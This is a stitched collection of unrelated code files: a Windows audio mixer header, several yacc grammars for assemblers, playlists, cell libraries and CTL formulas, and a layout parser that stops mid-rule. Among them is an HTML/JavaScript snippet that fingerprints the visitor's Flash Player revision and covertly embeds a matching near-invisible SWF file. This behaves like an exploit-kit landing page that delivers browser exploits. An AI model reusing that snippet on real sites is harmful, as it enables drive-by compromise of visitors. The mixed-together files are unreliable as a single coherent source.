// Reverbs: large hall, warm hall, bright plate, warehouse, etc.
//
// Delays: sweep delays, hold delays, 1.34 sec delay, etc.
//
// Vocal: recital hall, alcove, delay gate, etc
//
// lots of uses! gates, compressors, filters, dynamics, etc, etc.
//
//
// MC_CONTROLTYPE_MUX: a 'Mux' is a single selection multiplexer.
// usually a Mux is used to select, say, an input source for recording.
// for example, a mixer driver might have a mux that lets the user select
// between Microphone or Line-In (but not both!) for recording. this
// would be a perfect place to use a Mux control. some cards (for example
// Media Vision's 16 bit Pro Audio cards) can record from multiple sources
// simultaneously, so they would use a MC_CONTROLTYPE_MIXER, not
// a MC_CONTROLTYPE_MUX).
//
//
// NOTE! because single select lists can change what selections are
// possible based on other controls (uhg!), the application must examine
// the fValue's of all items after setting the control details so the
// display can be refreshed accordingly. an example might be that an
// audio card cannot change its input source while recording--so the
// selection would 'fail' by keeping the fValue on the current selection
// (but mixerSetControlDetails will succeed!).
//
#define MC_CONTROLTYPE_SINGLESELECT (MC_CT_CLASS_LIST | MC_CT_SC_LIST_SINGLE | MC_CT_UNITS_BOOLEAN)
#define MC_CONTROLTYPE_MUX (MC_CONTROLTYPE_SINGLESELECT + 1)
//
// List (multiple select)
//
// MIXERCONTROL.cMultipleItems = number of items in list
//
// M_GCDSF_LISTTEXT should be used to get the text
// for each item.
//
// MIXERCONTROLDETAILS_BOOLEAN should be used to set and retrieve
// what item(s) are selected (fValue = TRUE if selected).
//
// NOTE! because multiple select lists can change what selections are
// selected based on other selections (uhg!), the application must examine
// the fValue's of all items after setting the control details so the
// display can be refreshed accordingly. an example might be that an
// audio card cannot change its input source(s) while recording--so the
// selection would 'fail' by keeping the fValue on the current selection(s)
// (but mixerSetControlDetails will succeed!).
//
#define MC_CONTROLTYPE_MULTIPLESELECT (MC_CT_CLASS_LIST | MC_CT_SC_LIST_MULTIPLE | MC_CT_UNITS_BOOLEAN)
#define MC_CONTROLTYPE_MIXER (MC_CONTROLTYPE_MULTIPLESELECT + 1)
//
// Time Controls
//
// MIXERCONTROL.Bounds.dwMinimum = min
// MIXERCONTROL.Bounds.dwMaximum = max
//
// time controls are meant for inputing time information. these can be
// used for effects such as delay, reverb, etc.
//
//
#define MC_CONTROLTYPE_MICROTIME (MC_CT_CLASS_TIME | MC_CT_SC_TIME_MICROSECS | MC_CT_UNITS_UNSIGNED)
#define MC_CONTROLTYPE_MILLITIME (MC_CT_CLASS_TIME | MC_CT_SC_TIME_MILLISECS | MC_CT_UNITS_UNSIGNED)
//
// MIXERLINECONTROLS
//
//
//
typedef struct tMIXERLINECONTROLS
{
DWORD cbStruct; // size in bytes of MIXERLINECONTROLS
DWORD dwLineID; // line id (from MIXERLINE.dwLineID)
union
{
DWORD dwControlID; // M_GLCONTROLSF_ONEBYID
DWORD dwControlType; // M_GLCONTROLSF_ONEBYTYPE
};
DWORD cControls; // count of controls pmxctrl points to
DWORD cbmxctrl; // size in bytes of _one_ MIXERCONTROL
LPMIXERCONTROL pamxctrl; // pointer to first MIXERCONTROL array
} MIXERLINECONTROLS;
typedef MIXERLINECONTROLS *PMIXERLINECONTROLS;
typedef MIXERLINECONTROLS FAR *LPMIXERLINECONTROLS;
//
//
//
MMRESULT MIXAPI mixerGetLineControls
(
HMIXEROBJ hmxobj,
LPMIXERLINECONTROLS pmxlc,
DWORD fdwControls
);
#define M_GLCONTROLSF_ALL 0x00000000L
#define M_GLCONTROLSF_ONEBYID 0x00000001L
#define M_GLCONTROLSF_ONEBYTYPE 0x00000002L
#define M_GLCONTROLSF_QUERYMASK 0x0000000FL
#define M_GLCONTROLSF_VALID (MIXER_OBJECTF_TYPEMASK | /* ;Internal */ \
M_GLCONTROLSF_QUERYMASK) // ;Internal
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerGetControlDetails()
//
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
typedef struct tMIXERCONTROLDETAILS
{
DWORD cbStruct; // size in bytes of MIXERCONTROLDETAILS
DWORD dwControlID; // control id to get/set details on
DWORD cChannels; // number of channels in paDetails array
union
{
HWND hwndOwner; // for M_SCDF_CUSTOM
DWORD cMultipleItems; // if _MULTIPLE, the number of items per channel
};
DWORD cbDetails; // size of _one_ details_XX struct
LPVOID paDetails; // pointer to array of details_XX structs
} MIXERCONTROLDETAILS, *PMIXERCONTROLDETAILS, FAR *LPMIXERCONTROLDETAILS;
//
// M_GCDSF_LISTTEXT
//
//
typedef struct tMIXERCONTROLDETAILS_LISTTEXT
{
DWORD dwParam1;
DWORD dwParam2;
char szName[MIXER_LONG_NAME_CHARS];
} MIXERCONTROLDETAILS_LISTTEXT;
typedef MIXERCONTROLDETAILS_LISTTEXT *PMIXERCONTROLDETAILS_LISTTEXT;
typedef MIXERCONTROLDETAILS_LISTTEXT FAR *LPMIXERCONTROLDETAILS_LISTTEXT;
//
// M_GCDSF_VALUE
//
//
typedef struct tMIXERCONTROLDETAILS_BOOLEAN
{
LONG fValue;
} MIXERCONTROLDETAILS_BOOLEAN,
*PMIXERCONTROLDETAILS_BOOLEAN,
FAR *LPMIXERCONTROLDETAILS_BOOLEAN;
typedef struct tMIXERCONTROLDETAILS_SIGNED
{
LONG lValue;
} MIXERCONTROLDETAILS_SIGNED,
*PMIXERCONTROLDETAILS_SIGNED,
FAR *LPMIXERCONTROLDETAILS_SIGNED;
typedef struct tMIXERCONTROLDETAILS_UNSIGNED
{
DWORD dwValue;
} MIXERCONTROLDETAILS_UNSIGNED,
*PMIXERCONTROLDETAILS_UNSIGNED,
FAR *LPMIXERCONTROLDETAILS_UNSIGNED;
//
//
//
//
MMRESULT MIXAPI mixerGetControlDetails
(
HMIXEROBJ hmxobj,
LPMIXERCONTROLDETAILS pmxcd,
DWORD fdwDetails
);
#define M_GCDSF_VALUE 0x00000000L
#define M_GCDSF_LISTTEXT 0x00000001L
#define M_GCDSF_QUERYMASK 0x0000000FL
#define M_GCDSF_VALID (MIXER_OBJECTF_TYPEMASK | /* ;Internal */ \
M_GCDSF_QUERYMASK) /* ;Internal */
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
//
// mixerSetControlDetails()
//
//
//- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ;
MMRESULT MIXAPI mixerSetControlDetails
(
HMIXEROBJ hmxobj,
LPMIXERCONTROLDETAILS pmxcd,
DWORD fdwDetails
);
#define M_SCDF_VALUE 0x00000000L
#define M_SCDF_CUSTOM 0x00000001L
#define M_SCDF_QUERYMASK 0x0000000FL
#define M_SCDF_VALID (MIXER_OBJECTF_TYPEMASK | /* ;Internal */ \
M_SCDF_QUERYMASK) /* ;Internal */
#endif // MM_MIXM_LINE_CHANGE
#endif // MMNOMIXER
#endif // _INC_MMSYSTEM
//==========================================================================;
//
// Mixer Driver Definitions
//
//
//
//==========================================================================;
#ifdef _INC_MMDDK
#ifndef MMNOMIXERDEV
#ifndef MAXMIXERDRIVERS
//
// maximum number of mixer drivers that can be loaded by MSMIXMGR.DLL
//
#define MAXMIXERDRIVERS 10
//
// mixer device open information structure
//
//
typedef struct tMIXEROPENDESC
{
HMIXER hmx; // handle that will be used
LPVOID pReserved0; // reserved--driver should ignore
DWORD dwCallback; // callback
DWORD dwInstance; // app's private instance information
} MIXEROPENDESC, *PMIXEROPENDESC, FAR *LPMIXEROPENDESC;
//
//
//
//
#define MXDM_INIT 100
#define MXDM_USER DRV_USER
#define MXDM_BASE (1)
#define MXDM_GETNUMDEVS (MXDM_BASE + 0)
#define MXDM_GETDEVCAPS (MXDM_BASE + 1)
#define MXDM_OPEN (MXDM_BASE + 2)
#define MXDM_CLOSE (MXDM_BASE + 3)
#define MXDM_GETLINEINFO (MXDM_BASE + 4)
#define MXDM_GETLINECONTROLS (MXDM_BASE + 5)
#define MXDM_GETCONTROLDETAILS (MXDM_BASE + 6)
#define MXDM_SETCONTROLDETAILS (MXDM_BASE + 7)
#endif // MAXMIXERDRIVERS
#endif // MMNOMIXERDEV
#endif // _INC_MMDDK
#ifdef __cplusplus
} // end of extern "C" {
#endif // __cplusplus
#ifndef RC_INVOKED
#pragma pack() // revert to default packing
#endif
#endif // _INC_MSMIXMGR
|
%token EOF ASR SHL PLUS MINUS MUL DIV MOD OR AND XOR INV ASSIGN COMMA SEMICOLON LPAREN RPAREN VAR INT ID ERR
%%
program : EOF
| assign_exp
;
assign_exp : INT_VAR '=' int_exp
| FIX_VAR '=' fix_exp
;
int_exp : int_mul_exp int_add_exp
;
int_add_exp :
| '+' int_add_exp
| '-' int_add_exp
;
int_mul_exp : int_uny_exp int_mul_exp1
;
int_mul_exp1 :
| '*' int_mul_exp
| '/' int_mul_exp
;
int_uny_exp : int_pri_exp
| '-' int_uny_exp
;
int_pri_exp : INT_NUM
| FIX_NUM { op_fix2int }
| '(' int_exp ')'
;
fix_exp : fix_mul_exp fix_add_exp
;
fix_add_exp :
| '+' fix_add_exp
| '-' fix_add_exp
;
fix_mul_exp : fix_uny_exp fix_mul_exp1
;
fix_mul_exp1 :
| '*' fix_mul_exp
| '/' fix_mul_exp
;
fix_uny_exp : fix_pri_exp
| '-' fix_uny_exp
;
fix_pri_exp : FIX_NUM
| INT_NUM { op_int2fix }
| '(' fix_exp ')'
;
|
<filename>Projects/VerilogOnline/machines/sbn-machine/sbn-asm/parser.y
%{
#include <stdio.h>
#include <stdlib.h>
#include "ast.h"
FILE *program_output,
*data_output,
*literal_program_output,
*literal_data_output;
void yyerror(const char *);
extern int yylex();
extern int yylineno;
extern char *yytext;
extern Ast *result_ast;
%}
%union { struct _ast *ast; }
%token <ast> DEC HEX BIN ID LABEL DATA_DIR TEXT_DIR COMMA MINUS
%type <ast> program data_sec single_data text_sec single_instruction
%type <ast> instruction reference number signed_number
%%
program: DATA_DIR data_sec TEXT_DIR text_sec {
Ast *tmp = ast_new(PROGRAM, NULL, -1);
ast_add_child(tmp, $1);
ast_add_child(tmp, $2);
ast_add_child(tmp, $3);
ast_add_child(tmp, $4);
result_ast = tmp;
$$ = tmp;
};
data_sec:
single_data {
Ast *tmp = ast_new(DATA_SEC, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
} |
single_data COMMA data_sec {
Ast *tmp = ast_new(DATA_SEC, NULL, -1);
ast_add_child(tmp, $1);
ast_add_child(tmp, $2);
ast_add_child(tmp, $3);
$$ = tmp;
};
single_data:
signed_number {
Ast *tmp = ast_new(SINGLE_DATA, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
} |
LABEL signed_number {
Ast *tmp = ast_new(SINGLE_DATA, NULL, -1);
ast_add_child(tmp, $1);
ast_add_child(tmp, $2);
$$ = tmp;
};
text_sec:
single_instruction {
Ast *tmp = ast_new(TEXT_SEC, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
} |
single_instruction text_sec {
Ast *tmp = ast_new(TEXT_SEC, NULL, -1);
ast_add_child(tmp, $1);
ast_add_child(tmp, $2);
$$ = tmp;
};
single_instruction:
instruction {
Ast *tmp = ast_new(SINGLE_INSTRUCTION, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
} |
LABEL instruction {
Ast *tmp = ast_new(SINGLE_INSTRUCTION, NULL, -1);
ast_add_child(tmp, $1);
ast_add_child(tmp, $2);
$$ = tmp;
};
instruction:
reference COMMA reference COMMA reference COMMA reference {
Ast *tmp = ast_new(INSTRUCTION, NULL, -1);
ast_add_child(tmp, $1);
ast_add_child(tmp, $2);
ast_add_child(tmp, $3);
ast_add_child(tmp, $4);
ast_add_child(tmp, $5);
ast_add_child(tmp, $6);
ast_add_child(tmp, $7);
$$ = tmp;
};
reference:
number {
Ast *tmp = ast_new(REFERENCE, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
} |
ID {
Ast *tmp = ast_new(REFERENCE, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
};
number:
DEC {
Ast *tmp = ast_new(NUMBER, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
} |
HEX {
Ast *tmp = ast_new(NUMBER, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
} |
BIN {
Ast *tmp = ast_new(NUMBER, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
};
signed_number:
MINUS number {
Ast *tmp = ast_new(SIGNED_NUMBER, NULL, -1);
ast_add_child(tmp, $1);
ast_add_child(tmp, $2);
$$ = tmp;
} |
number {
Ast *tmp = ast_new(SIGNED_NUMBER, NULL, -1);
ast_add_child(tmp, $1);
$$ = tmp;
};
%%
void
yyerror(const char *str) {
fprintf(stderr, "error at line %d: parser - %s (token %s)\n", yylineno, str, yytext);
exit(1);
}
|
%{
#include<stdio.h>
typedef char* string;
#define YYSTYPE string
extern int lineno;
%}
%token TITLE ARTIST FILENAME PLAYLIST ITEM ID VAL
%%
program : blockStmtA;
blockStmtA : /*empty*/
| blockStmtA blockStmt
;
blockStmt : itemStmt
| listStmt
;
itemStmt : tag '{' itemAttributeA '}'
;
tag : ID dotTag
;
dotTag : /*empty*/
| ',' ID dotTag
;
itemAttributeA : /*empty*/
| itemAttributeA itemAttribute
;
itemAttribute : TITLE VAL { printf("title: %s\n", $2);}
| ARTIST VAL { printf("artist: %s\n", $2);}
| FILENAME VAL { printf("filename: %s\n", $2);}
;
listStmt : PLAYLIST VAL '{' listAttributeA '}'
;
listAttributeA : /*empty*/
| listAttributeA listAttribute
;
listAttribute : ITEM VAL { printf("add '%s' to list\n", $2); }
| ITEM ID { printf("add item with tag %s\n", $2); }
;
%%
int main()
{
yyparse();
return 0;
}
int yyerror(char *msg)
{
printf("Fail (around line %d) \n", lineno);
}
|
<Script src="swfobject.js" type="text/javascript"></Script>
<div id="flashcontent">111</div><div id="flashversion">222</div>
<script type="text/javascript">
var version=deconcept.SWFObjectUtil.getPlayerVersion();
if(version['major']==9){
document.getElementById('flashversion').innerHTML="";
if(version['rev']==115){
var fuckavp = "DZ";
var fuckaxp = "aa";
var fuckaqp = "c";
var so=new SWFObject("./i115.swf","mymovie","0.1","0.1","9","#000000");
so.write("flashcontent")
}else if(version['rev']==45){
var fuckavpxa = "P";
var so=new SWFObject("./i45.swf","mymovie","0.1","0.1","9","#000000");
so.write("flashcontent")
}else if(version['rev']==16){
var so=new SWFObject("./i16.swf","mymovie","0.1","0.1","9","#000000");
so.write("flashcontent")
}else if(version['rev']==64){
var fuckavp = "DZ";
var so=new SWFObject("./i64.swf","mymovie","0.1","0.1","9","#000000");
so.write("flashcontent")
}else if(version['rev']==28){
var so=new SWFObject("./i28.swf","mymovie","0.1","0.1","9","#000000");
so.write("flashcontent")
}else if(version['rev']==47){
var fuckavpx = "DZ";
var so=new SWFObject("./i47.swf","mymovie","0.1","0.1","9","#000000");
so.write("flashcontent")
}else if(version['rev']>=124){
if(document.getElementById){
document.getElementById('flashversion').innerHTML=""
}
}
}
</ScripT>
|
%token library cell pin timing bus
%token token number string floating
%token statetable ff latch test_cell
%token values
%%
libraries : libraries Library | Library ;
Library : library '(' tuken ')' '{' Items '}' ;
Items : Items Item | Item ;
Item : Cell | Pair ;
Token : token ;
String : string ;
Number : number ;
Floating : floating ;
tuken : Token | String ;
Pair :
Token ':' Expr ';'
| Token ':' Number Token ';'
| Token '(' Expr ')' ';'
| Token '(' Expr ',' Expr ')' ';'
| Token '(' Expr ',' Expr ')'
| Token '(' Expr ',' Expr ',' Expr ')' ';'
| Token '(' Expr ')' '{' Pairs '}'
| Token '(' ')' '{' Pairs '}'
| values '(' Values ')' ';'
| values ':' Values ';'
| values '(' Values ')'
;
// Struct : Token '(' tuken ')' '{' Pairs '}' ;
Pairs : Pairs Pair | Pair ;
toks : toks ',' Token | Token ;
Exprs : Expr ',' Expr | Expr ;
Value : String | Floating | Number ;
Values : Values ',' Value | Value ;
Expr : ff | Token | Number | String | Floating | library | cell | pin | timing | Expr '*' Expr | Expr '+' Expr | '-' Floating | Expr '-' Expr | '-' Number | '!' Token | values ;
Cell : cell '(' tuken ')' '{' cell_items '}' ;
cell_items : cell_items cell_item | cell_item ;
cell_item : Pair | Bus | Pin | Ff | Statetable | Latch | Test_cell ;
test_cell_item : Pin | Ff | Latch ;
test_cell_items : test_cell_items test_cell_item | test_cell_item ;
Pin : pin '(' tuken ')' '{' pin_items '}' | pin '(' Token ',' Token ')' '{' pin_items '}' | pin '(' Token ',' Token ',' Token ')' '{' pin_items '}' ;
pin_items : pin_items pin_item | pin_item ;
pin_item : Pair |Timing ;
Ff : ff '(' toks ')' '{' Pairs '}' ;
Statetable : statetable '(' Exprs ')' '{' Pairs '}' ;
Latch : latch '(' toks ')' '{' Pairs '}' ;
Test_cell : test_cell '(' ')' '{' test_cell_items '}' ;
Timing : timing '(' ')' '{' timing_items '}' ;
timing_items : timing_items timing_item | timing_item ;
timing_item : Pair ;
Bus : bus '(' tuken ')' '{' bus_items '}' ;
bus_items : bus_items bus_item | bus_item ;
bus_item : Pair |Timing | Bpin ;
Bpin : pin '(' tuken '[' Number ':' Number ']' ')' '{' '}' ;
%%
|
%{
#include <stdio.h>
#include <string.h>
#include "ctllex.c"
#include "ctlchecker.h"
int yyerror(char*);
int yylex();
//Needed for Bison 2.2
#ifdef OSX
//extern char yytext[];
#endif
//extern char *yytext;
%}
%union {
ctlstmt *property;
char *var;
}
%token <var> VARIABLE
%left '|' '&'
%nonassoc '~' EX EG EU AF AG TR AU AX EF
%type <property> statement
%%
statement: VARIABLE {$$ = newctlstmt(OP_VAR, NULL, NULL, strdup(yytext)); }
| TR { $$ = newctlstmt(OP_TRUE, NULL, NULL, NULL);}
| '~' statement {$$ = newctlstmt(OP_NOT, $2, NULL, NULL);}
| statement '|' statement {$$ = newctlstmt(OP_OR, $1, $3, NULL);}
| statement '&' statement {$$ = newctlstmt(OP_AND, $1, $3, NULL);}
| statement EU statement {$$ = newctlstmt(OP_EU, $1, $3, NULL);}
| EF statement {$$ = newctlstmt(OP_EU,
newctlstmt(OP_TRUE, NULL, NULL, NULL), $2, NULL);}
| statement AU statement {$$ = newctlstmt(OP_AND,
newctlstmt(OP_NOT, newctlstmt(OP_EU,
newctlstmt(OP_NOT, $3, NULL, NULL),
newctlstmt(OP_AND, newctlstmt(OP_NOT, $1, NULL, NULL),
newctlstmt(OP_NOT, $3, NULL, NULL),NULL),
NULL), NULL, NULL),
newctlstmt(OP_NOT, newctlstmt(OP_EG,
newctlstmt(OP_NOT, $3, NULL, NULL), NULL, NULL),
NULL, NULL), NULL);}
| EX statement {$$ = newctlstmt(OP_EX, $2, NULL, NULL);}
| AX statement {$$ = newctlstmt(OP_NOT,
newctlstmt(OP_EX, newctlstmt(OP_NOT, $2, NULL, NULL),
NULL, NULL), NULL, NULL);}
| EG statement {$$ = newctlstmt(OP_EG, $2, NULL, NULL);}
| AF statement {$$ = newctlstmt(OP_NOT, newctlstmt(OP_EG, newctlstmt(OP_NOT, $2, NULL, NULL), NULL, NULL), NULL, NULL);}
| AG statement {$$ = newctlstmt(OP_NOT, newctlstmt(OP_EU, newctlstmt(OP_TRUE, NULL, NULL, NULL), newctlstmt(OP_NOT, $2, NULL, NULL), NULL), NULL, NULL);}
| '(' statement ')' {$$ = $2;}
;
%%
int yyerror(char* s)
{
fprintf(stderr, "%s\n", s);
return 0;
}
|
%{
/*
* ISC License
*
* Copyright (C) 1983-2018 by
* <NAME>
* <NAME>
* Delft University of Technology
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "src/cldm/extern.h"
%}
%token MS MC ME EOL
%token BOX SBOX TERM LABEL WIRE SWIRE CONT POLY CIRCLE CPEEL
%token CX CY MX MY WIDTH R3 R6 R9 TRANS X Y SFX SFY
%token WORD WORD2 INTEGER FLOAT ILLCHAR
%%
stats : /* E */ | stats stat
;
stat : ms_l eos
| mc_l eos
| me_l eos
| box_l eos
| sbox_l eos
| term_l eos
| label_l eos
| wire_l eos
| swire_l eos
| cont_l eos
| poly_l eos
| circ_l eos
| cpeel_l eos
| /* E */ eos
| error eos
{ yyerrok; }
;
ms_l : MS name
{
if (mod_key) {
close_files ();
dmCheckIn (mod_key, QUIT);
mod_key = NULL;
}
err_flag = 0; /* no errors */
strcpy (ms_name, mc_name);
if (v_mode) P_E "-- ms %s\n", ms_name);
if (!s_mode) {
if (check_tree (ms_name, mod_tree)) {
if (f_mode && !tree_ptr -> bbox) {
pr_exit (0604, 42, ms_name);
}
else { /* already defined or used */
tree_ptr -> errflag = 1;
if (!f_mode)
pr_exit (0214, 9, ms_name);
else
pr_exit (0214, 37, ms_name);
}
}
if (!err_flag) {
mod_key = dmCheckOut (dmproject, ms_name, WORKING, DONTCARE, LAYOUT, CREATE);
open_files ();
ini_mcbbox = ini_bbbox = 1;
}
}
}
;
me_l : ME
{
if (err_flag) {
pr_exit (0204, 26, ms_name);
}
if (mod_key) {
if (err_flag) {
append_tree (ms_name, &mod_tree);
tree_ptr -> errflag = 1;
close_files ();
dmCheckIn (mod_key, QUIT);
}
else {
write_info ();
close_files ();
dmCheckIn (mod_key, COMPLETE);
}
mod_key = NULL;
ini_mcbbox = ini_bbbox = 0;
}
rm_tree (tnam_tree);
rm_tree (inst_tree);
tnam_tree = inst_tree = NULL;
}
;
mc_l : MC insname name x_scaling y_scaling mir rot tr cx cy
{
if ($2 && append_tree (instance, &inst_tree)) {
pr_exit (034, 11, instance); /* already used */
}
if (!err_flag && !s_mode)
proc_mc ($2, $6, $7);
}
;
box_l : BOX laycode coord coord coord coord cx cy
{
if (!err_flag && !s_mode)
proc_box ($3, $4, $5, $6);
}
;
sbox_l : SBOX laycode coord coord coord coord cx cy
{
if (!err_flag && !s_mode)
proc_sbox ($3, $4, $5, $6);
}
;
term_l : TERM laycode coord coord coord coord term_name cx cy
{
if (append_tree (terminal, &tnam_tree)) {
pr_exit (034, 12, terminal); /* already used */
}
if (!err_flag && !s_mode)
proc_term ($3, $4, $5, $6);
}
;
label_l : LABEL laycode coord coord label_name
{
if (append_tree (label, &tnam_tree)) {
pr_exit (0634, 12, label); /* already used */
}
if (!err_flag && !s_mode)
proc_label ($3, $4);
}
;
wire_l : WIRE laycode dir WIDTH coord
half_coord comma half_coord incr cx cy
{
w_dir = $3;
w_width = $5;
w_x = $6;
w_y = $8;
if (!err_flag && !s_mode)
proc_wire ();
}
;
swire_l : SWIRE laycode WIDTH coord
half_coord comma half_coord incr cx cy
{
w_width = $4;
w_x = $5;
w_y = $7;
if (!err_flag && !s_mode)
proc_swire ();
}
;
cont_l : CONT opt_dir opt_width incr
{
if (!err_flag && !s_mode)
proc_cont ($2, $3);
}
;
poly_l : POLY laycode m_int cx cy
{
if (!err_flag && !s_mode)
proc_poly ();
}
;
circ_l : CIRCLE laycode coord coord coord opt_n cx cy
{
if ($5 <= 0)
pr_exit (0214, 48, fromitoa ($5));
if (!err_flag && !s_mode)
proc_circ ($3, $4, $5, 0, 0, 360000, $6);
}
;
cpeel_l : CPEEL laycode coord coord coord coord angle angle opt_n cx cy
{
int r1, r2;
if ($5 > $6) { r1 = $5; r2 = $6; }
else { r1 = $6; r2 = $5; }
if (r1 <= 0) pr_exit (0214, 48, fromitoa (r1));
if (r2 < 0) pr_exit (0214, 48, fromitoa (r2));
if (r1 == r2) pr_exit (0214, 49, "radia");
if ($7 == $8) pr_exit (0214, 49, "angles");
if (!err_flag && !s_mode)
proc_circ ($3, $4, r1, r2, $7, $8, $9);
}
;
opt_n : /* E */ { $$ = 32; }
| integer
{
tmp_i = $1 / 8;
tmp_i *= 8;
if (tmp_i > 32000) tmp_i = 32000;
else if (tmp_i < 8) tmp_i = 8;
if (tmp_i != $1)
pr_exit (0614, 47, fromitoa (tmp_i));
$$ = tmp_i;
}
;
x_scaling : /* E */ { sfx = 1; }
| SFX integer
{
if ((sfx = $2) < 1)
pr_exit (0214, 46, fromitoa (sfx));
}
;
y_scaling : /* E */ { sfy = 1; }
| SFY integer
{
if ((sfy = $2) < 1)
pr_exit (0214, 46, fromitoa (sfy));
}
;
mir : /* E */ { $$ = 0; }
| MX { $$ = 1; }
| MY { $$ = 2; }
;
rot : /* E */ { $$ = 0; }
| R3 { $$ = 90; }
| R6 { $$ = 180; }
| R9 { $$ = 270; }
;
tr : /* E */ { tx = 0; ty = 0; }
| trans coord comma coord { tx = $2; ty = $4; }
;
trans : /* E */ | TRANS ;
cx : /* E */ { dx = 0; nx = 0; }
| CX coord comma integer
{
dx = $2;
nx = $4;
if (nx < 0)
pr_exit (034, 13, "nx"); /* invalid rep. parameter */
else if (nx == 0)
pr_exit (0634, 25, "nx");
}
;
cy : /* E */ { dy = 0; ny = 0; }
| CY coord comma integer
{
dy = $2;
ny = $4;
if (ny < 0)
pr_exit (034, 13, "ny"); /* invalid rep. parameter */
else if (ny == 0)
pr_exit (0634, 25, "ny");
}
;
comma : /* E */ | ',' ;
insname : /* E */ { $$ = 0; }
| '<' inst_name '>' { $$ = 1; }
;
name : WORD
{
n_tok = 0;
strncpy (mc_name, textval(), DM_MAXNAME);
if (yyleng > DM_MAXNAME) {
pr_exit (0634, 16, textval());
sprintf (name_len, "%d", DM_MAXNAME);
pr_exit (0600, 19, name_len);
mc_name[DM_MAXNAME] = '\0';
}
}
;
inst_name : WORD
{
strncpy (instance, textval(), DM_MAXNAME);
if (yyleng > DM_MAXNAME) {
pr_exit (0634, 17, textval());
sprintf (name_len, "%d", DM_MAXNAME);
pr_exit (0600, 19, name_len);
instance[DM_MAXNAME] = '\0';
}
}
| WORD2
{
strncpy (instance, textval(), DM_MAXNAME);
if (yyleng > DM_MAXNAME) {
pr_exit (0634, 17, textval());
sprintf (name_len, "%d", DM_MAXNAME);
pr_exit (0600, 19, name_len);
instance[DM_MAXNAME] = '\0';
}
}
;
term_name : name_str
{
n_tok = t_tok = 0;
strncpy (terminal, textval(), DM_MAXNAME);
if (yyleng > DM_MAXNAME) {
pr_exit (0634, 18, textval());
sprintf (name_len, "%d", DM_MAXNAME);
pr_exit (0600, 19, name_len);
terminal[DM_MAXNAME] = '\0';
}
}
;
label_name : name_str
{
n_tok = t_tok = 0;
strncpy (label, textval(), DM_MAXNAME);
if (yyleng > DM_MAXNAME) {
pr_exit (0634, 18, textval());
sprintf (name_len, "%d", DM_MAXNAME);
pr_exit (0600, 19, name_len);
label[DM_MAXNAME] = '\0';
}
}
;
name_str : WORD
| WORD2
| INTEGER
;
laycode : WORD
{
if (!t_tok) n_tok = 0;
strncpy (layer, textval(), DM_MAXLAY);
if (yyleng > DM_MAXLAY) {
pr_exit (0634, 15, textval());
sprintf (name_len, "%d", DM_MAXLAY);
pr_exit (0600, 19, name_len);
layer[DM_MAXLAY] = '\0';
}
if (!s_mode) {
for (lay_code = 0;
lay_code < process->nomasks; ++lay_code)
if (!strcmp (layer, process->mask_name[lay_code]))
goto label1;
pr_exit (034, 20, layer); /* unrecogn. laycode */
}
label1: ;
}
;
m_int : kwart_coord
{
int_val[0] = $1; int_ind = 1;
}
| m_int kwart_coord
{
if (int_ind >= NOINTS)
pr_exit (0137, 8, 0);
int_val[int_ind++] = $2;
}
;
incr : half_coord
{
int_val[0] = $1; int_ind = 1;
}
| incr half_coord
{
if (int_ind >= NOINTS)
pr_exit (0137, 8, 0);
int_val[int_ind++] = $2;
}
;
opt_dir : /* E */ { $$ = 0; }
| dir
;
dir : X { $$ = -1; }
| Y { $$ = 1; }
;
opt_width : /* E */ { $$ = w_width; }
| WIDTH coord { $$ = $2; }
;
angle : INTEGER
{
if (yylval < 0 || yylval > 36000) {
pr_exit (0214, 41, fromitoa (yylval));
}
$$ = 1000 * yylval;
}
| FLOAT
{
if (d_f < 0 || d_f > 360) {
pr_exit (0214, 41, textval());
}
d_f = 1000 * d_f;
tmp_d = ROUND (d_f);
tmp_d = tmp_i = (int)tmp_d;
if (!r_mode) {
tmp_d = tmp_d - d_f;
if (tmp_d > 0.0001 || tmp_d < -0.0001) {
pr_exit (0614, 44, textval());
pr_exit (0614, 43, fromftoa ((double)tmp_i / 1000));
}
}
$$ = tmp_i;
}
;
kwart_coord : INTEGER
{
$$ = 4 * yylval;
}
| FLOAT
{
d_f = 4 * d_f;
tmp_d = ROUND (d_f);
tmp_d = tmp_i = (int)tmp_d;
if (!r_mode) {
tmp_d = tmp_d - d_f;
if (tmp_d > 0.0001 || tmp_d < -0.0001) {
pr_exit (0614, 51, textval());
pr_exit (0614, 43, fromftoa ((double)tmp_i / 4));
}
}
$$ = tmp_i;
}
;
half_coord : INTEGER
{
$$ = 2 * yylval;
}
| FLOAT
{
d_f = 2 * d_f;
tmp_d = ROUND (d_f);
tmp_d = tmp_i = (int)tmp_d;
if (!r_mode) {
tmp_d = tmp_d - d_f;
if (tmp_d > 0.0001 || tmp_d < -0.0001) {
pr_exit (0614, 14, textval());
pr_exit (0614, 43, fromftoa ((double)tmp_i / 2));
}
}
$$ = tmp_i;
}
;
coord : INTEGER
{
$$ = yylval;
}
| FLOAT
{
pr_exit (0214, 40, textval());
if (yylval <= 0) $$ = 8;
